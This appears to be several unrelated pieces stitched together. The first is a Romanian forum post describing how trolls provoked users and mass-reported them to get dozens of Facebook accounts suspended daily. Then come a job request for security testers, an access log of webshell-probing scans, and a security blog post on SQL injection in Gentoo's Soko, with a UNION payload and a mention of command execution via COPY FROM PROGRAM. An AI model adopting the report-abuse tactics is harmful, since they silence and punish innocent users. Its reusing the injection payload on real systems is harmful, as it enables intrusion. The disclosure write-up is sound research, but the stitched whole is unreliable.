Atunci cand trollezi primesti o gramada de injurii si reclamatii. Am trecut prin cateva suspendari ale contului pana am invatat la ce este sensibil sistemul de moderare. Dar cea mai interesanta parte a fost cand m-am prins ca unele decizii se iau automat, iar unele reguli pot fi abuzate chiar daca moderatorii umani sunt cei care investigheaza reclamatiile. Ce am facut mai departe?

Am citit Community Guidelines si Community Standards ca sa aflu ce tip de reclamatii au cea mai mare sansa de succes si m-am apucat de teste. Acestea au fost cele mai utile pentru ce a urmat:
 

• nudity (impact major)
  • nu publicati pe Facebook poze cu bebelusi dezbracati  
• harrasement (impact major)
  • acest report reason a fost vedeta - va explic mai jos cum il foloseam
• violence (impact major)
  • si acest report reason putea fi abuzat cu usurinta cand reuseam sa enervam oamenii si sa ii facem a ne ameninte
• unauthorised sales (impact mediu)
  • cu acest reason am facut ceva curatenie in cateva grupuri pe care se vindeau cai, gaini, porci, animale de companie
• hate speech (impact mic)
  • ii cam doare la banana pe cei de la Facebook de hate speech in limba romana 
• bullying (impact mic)
  • in schimb functiona de minune reportul cu reason "hartuire", cu toate ca tot ce se incadra la hartuire se incadra si la bullying
• sexual activity (impact mic)
  • trebuia sa faca cineva o remarca ce tenta sexuala - ex: caut si eu o domnisoara tinerica pentru a face dragoste toata noaptea cu ea
  • in schimb injuraturi ca "fa, daca te prind te fut" nu erau pedepsite cand faceam teste, decat daca se foloseau "violence" sau "harrasement" ca report reason 

Legenda:
impact major - sanse mari sa fie penalizat cel raportat (peste 80%)

impact mediu - sanse medii sa fie penalizat (intre 50% si 70-80%)

impact mic - sanse mici sa fie penalizat, dar totusi exista o oarecare sansa

Urmatoarele sunt si acum puse la misto in lista de raportari (cel putin in Romania):
 

• fraud or scam
  • nici in ziua de azi nu am vazut sa aiba vreun efect, nici chiar atunci cand sunt sute de reporturi reale intr-o zi
  • nu cred ca mai au destui operatori umani care sa investigheze aceste reporturi, asa ca le ignora
• mocking victims
  • am testat intensiv cateva zile - nu le pasa
    • iata ce postam cu diverse conturi: am fost violata, mama a fost violata de Securitate in fata mea, bunica mea a fost in lagarele naziste, am fost batut de tatal meu toata copilaria. Apoi lasam cu alt cont de-al meu comentarii pline de dispret la adresa victimei (ai meritat, sper sa mai patesti asta din nou etc), apoi raportam comentariul respectiv. Zero efect. Ii raportam si pe alti bagatori de seama care isi bateau joc. Nimic.
    • cred ca este pus acolo doar din motive legale, sau functioneaza insa ignora reporturile din unele tari
• false information
  • sunt 100% sigur ca reporturile pentru false information nu au efect - e pus acolo doar din motive legale
  • acea notificare cu false information care apare sub postari se datoreaza trusturilor media, sau unor entitati influente care semnalizeaza dezinformarea
• spam
  • un singur report nu face diferenta - conturile vechi raportate pentru spam nu par a pati mare lucru (posibil sa ma insel)
• bullying
  • inainte avea un impact mic, acum sansele sa aiba efect un report pentru bullying sunt derizorii

In sfarsit, partea fun.

Pusi pe șotii, am inceput sa punem in aplicare teoriile pe care le aveam. Intre timp au mai aparut inca doua persoane in gasca noastra de trolli. Scopul era unul singur: sa bagam zilnic cat mai multe persoane in "facebook jail", adica sa fortam sistemul sa le suspende contul pentru o perioada de timp. Pentru cine nu stie, sistemul de penalizare de pe Facebook creste durata pedepselor chiar si pana la 3 luni. In unele cazuri am reusit sa "convingem" Facebook sa stearga cu totul conturile raportate de noi, dar in general, era foarte greu sa ajungem la nivelul ala si necesita multa manipulare pentru a enerva din nou si din nou acea persoana.

Victimele le agatam prin trolling. Noi trollam, cativa destepti erau ofuscati si se luau de noi. Dupa care se intamplau urmatoarele:

Report reason -> harrasement

Quote

 

Victima: @nemessis tu ar trebui sa zbori de pe acest grup
Eu: @victima te rog sa incetezi sa imi mai dai tag si sa ma mai contactezi
Victima: @nemessis hai dispari.
Eu: @victima te rog sa incetezi sa imi mai dai tag si sa ma contactezi in mod repetat. Imi creezi o stare de anxietate si frica
Victima: @nemessis hahaha ce sensibil esti 

In momentul asta ii faceam report cu motivul hartuire la ultimele doua comentarii in care mi-a dat tag. Sansele de reusita erau de peste 90%. De ce? Pentru ca in categoria hartuire intra si asta, citez:  "Repeatedly contacting a person who doesn't want to contact".

Bun. Pare simplu. Este intr-adevar, dar asta nu este tot. Daca ii repetam de mai multe ori sa nu imi mai dea tag si sa nu ma mai contacteze si o faceam sa intre in jocul meu, se adunau 6-7 taguri. Dupa care incepeam sa le raportez pe toate. Cel mai probabil primea pedeapsa pentru 4-5 dintre ele. Asta inseamna ca din start contul respectiv ajungea sa fie suspendat pentru mai mult timp, nu doar pentru una sau trei zile.

Partea interesanta este ca atat AI-ul cat si operatorii umani faceau aceeasi eroare. AI-ul pentru ca asa a fost calibrat, iar operatorii umani pentru ca sunt obligati sa respecte procedurile si regulile chiar daca in anumite situatii, cum e cea de mai sus, era aberant sa le respecte. 

Pe langa faza cu raportarea pentru taguri mai foloseam destul de des si raportarile pentru expresii uzuale din limba romana. Daca cineva ne spunea "du-te si arunca-te in Dambovita", sau "du-te si spanzura-te" puteam sa raportam pentru hartuire sau pentru violenta. In cele mai multe cazuri aveam succes.

Metoda a functionat mai mult de un an. Cred ca la un moment dat un sefulet de departament de la Facebook le-a transmis superiorilor ca 3 cretini profita de procedurile lor ca sa suspende conturile userilor.

Impact: fiecare dintre noi suspendam intre 40 si 70 de conturi pe zi, de multe ori fiecare dintre ele primind mai mult de o singura pedeapsa in acea interactiune cu noi. A fost cel mai amuzant abuz, dar stati sa vedeti ce a urmat si cat de retardati au fost cei care au gandit urmatorul sistem.

Rata de succes a raportarilor

Si daca aveati impresia ca scaparea de mai devreme a fost penibila, hai sa va spun ce s-a intamplat cand am capatat o rata de succes atat de mare la raportari.

Cumva am capatat un nivel de incredere atat de mare, incat daca raportam pentru hartuire un comentariu inocent de tipul "salutare grup", existau sanse mai mult decat rezonabile ca acel user sa fie pedepsit de sistem pentru hartuire. Daca facea apel la decizie scapa de pedeapsa, dar unii dintre sarmani nu stiau ca pot face apel. La mai multe apeluri pierdute de noi parea ca ne pierdeam si din nivelul de incredere si din super puteri. Era un du-te vino in care ba aveam super puteri, ba nu le mai aveam si munceam sa le recapatam.
 

Pentru a ajunge la acest nivel de incredere era nevoie de 3-4-5 zile in care sa folosim intensiv metoda "nu imi mai da tag" (o faceam cam 7-8 ore pe zi), iar apoi capatam aceste super puteri. Daca nu mai intram pe Facebook o saptamana o luam de la zero. Foarte dubios sistemul.

A functionat doar cateva luni, dar a fost amuzant cand ii pedepseam pe cei mai vocali comentaci si admini de pe anumite grupuri. Nimeni nu mai intelegea ce se intampla, dar stiau ca suntem noi de vina.

Report reason -> any-> dumb Translator

Intr-o zi incercam sa ii agit pe niste bosorogi de pe un grup plin de iubitori ai lui Ceausescu si m-am gandit eu, ca baiatul destept

Quote

Ce ar fi sa scriu ceva pozitiv despre comunitatea gay si sa le bat obrazul bosorogilor ca ii trateaza pe gay ca pe niste fiinte inferioare? Sigur se vor agita, vor comenta ceva nasol despre gay si ii voi raporta pentru hate speech. 

La cateva minute dupa ce am postat ma arde tot pe mine Facebook cu o suspendare de 7 zile pentru hate speech. Fac apel. Dupa mai putin de un minut primesc rezultatul apelului. Hate speech. Clar m-a ars AI-ul care a tradus textul meu. Iau textul, il postez in alta parte de pe alt cont de tavaleala cu optiunea de traducere automata in engleza. Mda. Ce am scris eu si ce a tradus imbecilul nu avea nici o treaba. Aia e. Am facut pauza de la Facebook. Intre timp mi-am setat toate conturile sa traduca automat postarile din romana in engleza. Cum vedeam ceva tradus prost, cu potentialul de a fi gresit interpretat, cum ii dadeam report. A mers binisor, dar prea rar dadea rateuri atat de mari si interpretabile precum a dat in cazul meu.

Inca mai functioneaza, dar dupa cum ziceam, cam rar apare oportunitatea de a incalca Community Standards din cauza traducerii eronate. In afara de asta sistemul de moderare este in clipa de fata aproape inexistent.

Report reason -> unauthorised sales

Stiati ca nu este permisa pe Facebook vanzarea de caini, pisici? Sau de porci? Sau de cai, capre, oi, miei si alte animale, fie ca sunt salbatice sau domestice? Eh, inainte de a renunta Facebook la armata de moderatori puteam intra pe grupurile unde se vindeau cai si porci si ii raportam pe toti vanzatorii. Nici cei care vindeau pentru consum animale sacrificate nu scapau. Important era sa existe atasate la postare poze cu animalul sacrificat. Rata de succes era bunicica, pe la medie, dar totusi apropiata de o rata mare. Cum zice Lenghel, spre zona verde. Imi aduc aminte ca in 2022, in perioada Pastelui, pe un grup dedicat au avut conturile suspendate aproape toti cei care vindeau miei sacrificati. 

La un moment dat toate metodele au picat. Nu mai au destui moderatori, iar AI-ul lor este setat sa nu mai bage in seama majoritatea raportarilor. Ba mai si trimite cateodata mesaj ca nu sunt destui moderatori care sa se ocupe de reporturi din cauza Covid-19. In 2024. A fost util si amuzant, dar foarte obositor in acelasi timp. Acum sa vedem cum sta treaba cu Reddit. Acolo se fac bani 

Spor.

avem nevoie de o persoana (sau mai multe) cu experienta pentru a testa o aplicatie web tip SaaS si sa colaboreze cu programatorul pentru a rezolva vulnerabilitatile. Contracost.  Astept detalii de contact prin reply sau PM.

multumesc!

185.224.128.55 - - [20/Feb/2024:15:11:04 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 109.205.213.198 - - [20/Feb/2024:15:12:46 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 89.190.156.150 - - [20/Feb/2024:15:52:25 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 403 301 "http://5.13.115.181:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 82.64.166.135 - - [20/Feb/2024:16:05:52 +0200] "GET / HTTP/1.0" 403 301 "-" "-" 69.164.217.245 - - [20/Feb/2024:16:15:29 +0200] "GET / HTTP/1.0" 400 468 45.33.80.243 - - [20/Feb/2024:16:16:39 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:17 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:18 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:19 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:20 +0200] "POST /categories/Yud HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:21 +0200] "POST /wp-content/themes/twentytwentyone/inc/block-css.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:22 +0200] "POST /QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:24 +0200] "POST /nation.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:25 +0200] "GET /search/s.php?i=1&id=APOX8NWOV42320 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:26 +0200] "POST / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:26 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:28 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:29 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:30 +0200] "GET /news.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:31 +0200] "GET /8.bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:31 +0200] "GET /hrsgdsb7386wknzms.jpg HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /UnityPlayer.dll HTTP/1.1" 404 299 82.57.141.189 - - [20/Feb/2024:16:36:32 +0200] "GET / HTTP/1.0" 403 301 "-" "-" 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /ttd.exe HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /qd.CHM HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:33 +0200] "GET /zMLUH93A HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:35 +0200] "GET /Display/chan/IB61I7MYA HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:36 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:37 +0200] "GET /Gmail/UnityPlayer.txt HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:38 +0200] "GET /new/login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:39 +0200] "GET /viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2 HTTP/1.1" 404 300 43.129.97.125 - - [20/Feb/2024:16:36:41 +0200] "GET /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:42 +0200] "GET /jquery.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:43 +0200] "GET /wh/glass.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:44 +0200] "GET /login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:45 +0200] "POST /nvidia_license_upd.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:47 +0200] "POST /session HTTP/1.1" 400 384 43.129.97.125 - - [20/Feb/2024:16:36:48 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:36:48 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:36:49 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:50 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:51 +0200] "GET /vF4l HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:51 +0200] "GET /bNfF HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:52 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:36:53 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:36:54 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:54 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:55 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:57 +0200] "POST /categories/Yud HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:58 +0200] "POST /wp-content/themes/twentytwentyone/inc/block-css.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:59 +0200] "POST /QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:00 +0200] "POST /nation.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:01 +0200] "GET /search/s.php?i=1&id=APOX8NWOV42320 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:02 +0200] "POST / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:37:03 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:37:04 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:05 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:07 +0200] "GET /news.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:08 +0200] "GET /8.bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:08 +0200] "GET /hrsgdsb7386wknzms.jpg HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /UnityPlayer.dll HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /ttd.exe HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /qd.CHM HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:10 +0200] "GET /zMLUH93A HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:12 +0200] "GET /Display/chan/IB61I7MYA HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:13 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:14 +0200] "GET /Gmail/UnityPlayer.txt HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:15 +0200] "GET /new/login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:16 +0200] "GET /viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2 HTTP/1.1" 404 300 43.129.97.125 - - [20/Feb/2024:16:37:17 +0200] "GET /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:19 +0200] "GET /jquery.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:20 +0200] "GET /wh/glass.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:21 +0200] "GET /login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:22 +0200] "POST /nvidia_license_upd.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:23 +0200] "POST /session HTTP/1.1" 400 384 43.129.97.125 - - [20/Feb/2024:16:37:25 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:37:25 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:37:26 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:27 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:28 +0200] "GET /nPi5 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:28 +0200] "GET /86ww HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:29 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:37:29 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 45.79.168.172 - - [20/Feb/2024:17:09:09 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 zgrab/0.x" 172.105.128.12 - - [20/Feb/2024:17:09:17 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.224.128.55 - - [20/Feb/2024:17:18:37 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"

Momentan imi este inchis pc-ul de tot, aveti idee ce s-a incercat? mentionez ca nu este securitate deloc setata de mine inafara de faptul ca fisierele cstrike sunt setate sa nu poate fi modificate ci doar descarcate.

OS W10 64bit cu update-urile aproape la zi,antivirus avast, fara firewall pe router, firewall din windows

Este posibil sa imi fie inchis pc-ul asa la misto? mi-e cam greu sa cred ca ar face asta o persoana din china, dupa mintea mea l-ar vrea deschis sa-si faca mersu

Multumesc

 

Thomas Chauchefoin

VULNERABILITY RESEARCHER

June 27, 2023

8 MIN READ

• Security

 

Key Information

• The Sonar Research team discovered several SQL injection vulnerabilities in Soko, a software deployed on the Gentoo Linux infrastructure.
• These SQL injections happened despite the use of an Object-Relational Mapping (ORM) library and prepared statements.
• We demonstrated that these code vulnerabilities lead to Remote Code Execution (RCE) on Soko because of a misconfiguration of the database.
• Thanks to the isolation of Soko software components from other services and how the Portage package manager works, users of Gentoo Linux were not at risk of supply-chain attacks. 

Introduction

We were told to use ORMs and prepared statements to avoid SQL injections for a long time now. By doing so, we effectively separate instructions (the semantics of the SQL query) from the data. Modern languages and frameworks often also abstract away the need to write raw queries, offering high-level interfaces around our database models. Unfortunately, that's not enough to thwart away SQL injections once and for all, as these APIs can still present subtle bugs or nuances in their design. 

 

In this blog post, we show you how the misuse of a Golang ORM API introduced several SQL injections in Soko, a service deployed on the Gentoo Linux infrastructure. Then, we look further into assessing the impact of this vulnerability by using a PostgreSQL feature to execute arbitrary commands on the server.

 

These vulnerabilities, tracked as CVE-2023-28424, were discovered and reproduced in a testing environment. They were later responsibly disclosed to Gentoo Linux maintainers, who deployed fixes within 24 hours. Because this service only displays information about existing Portage packages, it was not possible to perform a supply chain attack and users of Gentoo Linux were never at risk. While the server hosts several services, affected components are isolated in Docker containers, and the risk of lateral movement from attackers is limited. 

 

Nonetheless, there are some key learnings from these vulnerabilities that we would like to share in this blog post. 

 

If you run Soko on your infrastructure, you should upgrade it to Soko 1.0.3 or above. 

Technical Details

What's Soko?

Soko is the Go software behind https://packages.gentoo.org/, a public interface showing information about published Portage packages that you can install on Gentoo Linux. Portage is the go-to package management tool for this distribution and takes care of resolving and building all required dependencies.

 

Soko offers a very convenient way to search through all of these packages and easily get information like the associated bug tracker or where the upstream source is. Again, packages are not downloaded from Soko but directly from upstream.

The Search Feature

Soko is built to let users search through packages–that's its sole job and means that the code of this feature is the most interesting to review with our security hat on. Indeed, it has to assemble a SQL query based on many parameters that may or may not be part of the request. 

 

ORMs have query builders that introduce a very welcome abstraction layer so developers don't have to hand-write SQL queries; Soko's use of go-pg makes it very expressive and easy to follow.

  

For instance, if you want to select a record of a given database model whose title is prefixed with my using go-pg, this is what you would write (example taken from their documentation?

err := db.Model(book).
    Where("id > ?", 100).
    Where("title LIKE ?", "my%").
    Limit(1).
    Select()

Notice the presence of query placeholders–the question marks–in the Where() clauses. They are replaced with the associated parameters at runtime after escaping them for the right context. Indeed, a string and a column name are specified differently in SQL, and the ORM must escape them accordingly. That also means that the first parameter should always be a constant string: otherwise, that means that we're probably circumventing the escaping feature and could introduce SQL injections.

Finding (Un)prepared Statements

Diving into the implementation of the search feature, we can notice code like this snippet:

searchTerm := getParameterValue("q", r)
searchTerm = strings.ReplaceAll(searchTerm, "*", "")
searchQuery := BuildSearchQuery(searchTerm)

var packages []models.Package
err := database.DBCon.Model(&packages).
Where(searchQuery).
Relation("Versions").
	OrderExpr("name <-> '" + searchTerm + "'").
	Select()

pkg/app/handler/packages/search.go

A first thing that should jump to your eyes is the parameter searchTerm, coming from the user's request, being concatenated to the first parameter of the OrderExpr() call. It goes in contradiction with how one should safely use this API. There's probably room for a SQL injection in here! 

 

Let's look at the implementation of the method BuildSearchQuery(), also using searchTerm as a parameter and passed as the first argument of  Where():

 

func BuildSearchQuery(searchString string) string {
	var searchClauses []string
	for _, searchTerm := range strings.Split(searchString, " ") {
		if searchTerm != "" {
			searchClauses = append(searchClauses,
				"( (category % '"+searchTerm+"') OR (name % '"+searchTerm+"') OR (atom % '"+searchTerm+"') OR (maintainers @> '[{\"Name\": \""+searchTerm+"\"}]' OR maintainers @> '[{\"Email\": \""+searchTerm+"\"}]'))")
		}
	}
	return strings.Join(searchClauses, " AND ")
}

pkg/app/handler/packages/search.go

We can see that searchTerm is again directly interpolated in the query. When passed as a parameter to Where(), it won't be able to escape its value; it's already in the query. As a result, this function has several SQL injections: one for every use of searchTerm! 

And its GraphQL Sibling? 

Users can also do searches through the GraphQL API to ease integration with external systems and scripts. While most of the code around database models is often automatically generated, features like this require custom code–they are called resolvers. 

 

GraphQL frameworks have this notion of resolvers that can back types fields: they come in handy when fetching data from a third-party API or running a complex database query. This is very likely that a similar vulnerability would also be present in this code; let's look into it. 

 

GraphQL resolvers are implemented in pkg/api/graphql/resolvers/resolver.go. In PackageSearch, searchTerm and resultSize come from the GraphQL query parameters. The parameter searchTerm is also unsafely interpolated in an OrderExpr() clause, introducing another SQL injection:

func (r *queryResolver) PackageSearch(ctx context.Context, searchTerm *string, resultSize *int) ([]*models.Package, error) {
// [...]	
	if strings.Contains(*searchTerm, "*") {
		// if the query contains wildcards
		wildcardSearchTerm := strings.ReplaceAll(*searchTerm, "*", "%")
		err = database.DBCon.Model(&gpackages).
			WhereOr("atom LIKE ? ", wildcardSearchTerm).
			WhereOr("name LIKE ? ", wildcardSearchTerm).
Relation("PkgCheckResults").[...].Relation("Outdated").
			OrderExpr("name <-> '" + *searchTerm + "'").
			Limit(limit).
			Select()
	}

pkg/api/graphql/resolvers/resolver.go

A similar SQL injection is present in the same method when performing a fuzzy search–we omitted it above for brevity. Check your GraphQL resolvers! 

An Effective SQL Injection

With these potential injections in mind, we can check whether they are exploitable. To first give you some context, the following query is executed when searching for the package foo:

SELECT
    "package"."atom",
    "package"."category",
    "package"."name",
    "package"."longdescription",
    "package"."maintainers",
    "package"."upstream",
    "package"."preceding_commits"
FROM "packages" AS "package"
WHERE
    ((
        (category % 'foo') 
        OR (NAME % 'foo')
        OR (atom % 'foo')
        (
            maintainers @ '[{"Name": "foo"}]'
            OR maintainers @ '[{"Email": "foo"}]'
        )
    )) 
    OR (atom LIKE '%foo%')
ORDER BY NAME    < - > 'foo'

Once a single quote is used in the search, the semantics of the query change which leads to syntax errors. This behavior is easy to confirm with some dynamic testing; our local instance is very useful here. 

 

By first doing a search that contains a single quote, effectively breaking the syntax of the request, we are welcomed with an error message: Internal Server Error. When we try again with two single quotes, closing the current string and opening a new one so it results in a valid query, the search behaves as intended.

 

Here are the steps to disclose the PostgreSQL server's version by injecting SQL into the first WHERE clause. Note that most occurrences of foo are injectable, but it's easier to use the first one and ignore the right-most part of the query with a comment.

• First, a single quote allows breaking out of the string literal,
• Three closing parentheses to end the WHERE clause,
• A UNION clause with the same number of columns as the initial SELECT statement and the right types. The PostgreSQL version is placed in the second column so it gets shown in the interface. 
• A comment (--) to ignore everything else after. 

 

The payload has to respect several constraints:

• The character * cannot be used, or the vulnerable code path is not executed. 
• The payload should not contain spaces, or BuildSearchQuery() emits several Where clauses. Spaces are not mandatory in this case, and they can be replaced by the TAB character (%09).
• We must pay special care to the column types and the format of JSONB fields to avoid raising errors in PostgreSQL and when the code processes the result of the SQL query. 

 

We obtain something like foo'))) union all select '1',version()::text,'3','4','[]','{}',7--. The resulting query is shown below; notice that we removed everything after the comment, or it would be too long to display on this page.

SELECT 
    "package"."atom",
    "package"."category", 
    "package"."name", 
    "package"."longdescription", 
    "package"."maintainers", 
    "package"."upstream", 
    "package"."preceding_commits" 
FROM "packages" AS "package" 
WHERE 
(( 
		(category % 'foo')
	))
UNION ALL SELECT '1', version()::text, '3', '4', '[]', '{}', 7 -- 

And indeed, when used in the search field, the version of the PostgreSQL server is shown, that's a success! 

 

PostgreSQL Stacked Queries

PostgreSQL supports stacked queries allowing developers to submit several SQL statements by separating them with semicolons. When exploiting a SQL injection and stacking several queries, the interface only displays the results of the first query, but they will all be executed. Attackers are no longer bound to making SELECT statements and can alter records from the database. As you will see in the next section, it also changes the impact of the SQL injection.

 

It only adds a new minimal constraint on the payload: the semicolon character cannot be used as-is (i.e., not URL-encoded) to avoid running into a quirk of the net/url package.

PostgreSQL's COPY FROM PROGRAM

PostgreSQL also supports an operation named COPY FROM PROGRAM. This documented feature enables the execution of arbitrary commands on the system, usually with the privileges of the user postgres.

 

This is not a vulnerability in PostgreSQL: the COPY statement is reserved for superusers. Still, attackers equipped with SQL injections are more likely to be able to pivot to another context by executing commands on the server. 

 

In the case of Soko, this misconfiguration likely comes from the Docker containerization of their database. Because containers are often seen as a security boundary between software components, it's common to let them enjoy elevated privileges. In the official PostgreSQL image, the user set by POSTGRES_USER benefits from superuser privileges:

db:
  image: postgres:12 
  restart: always 
  environment: 
    POSTGRES_USER: ${SOKO_POSTGRES_USER:-root}
    POSTGRES_PASSWORD: ${SOKO_POSTGRES_PASSWORD:-root
    POSTGRES_DB: ${SOKO_POSTGRES_DB:-soko}
  shm_size: 512mb
  volumes: 
    - ${POSTGRES_DATA_PATH:-/var/lib/postgresql/data}:/var/lib/postgresql/data

docker-compose.yml

This is a bad security practice and goes against the principle of least privilege; most users of this Docker image are likely impacted by this misconfiguration. 

 

From here, we can demonstrate the full impact of the SQL injection by executing arbitrary commands in the context of the PostgreSQL container. For instance, running id returns the current user's identity. This method was already extensively documented online and is left as an exercise for the most security-savvy readers!

 

Patch

After responsibly disclosing both findings to the maintainers, Arthur Zamarin promptly addressed them by refactoring query builder calls to follow the documentation. Because the root cause of all injections is the same, the misuse of the ORM's query builder, we will only document the most interesting change here. You can find the full patches on GitHub: 428b119 and 4fa6e4b.

 

If you remember, the method BuildSearchQuery() was a source of vulnerabilities, as it tried to craft a SQL query based on a parameter and returned a string. Because it didn't have access to the query builder object, it had to do it manually with string concatenations. 

 

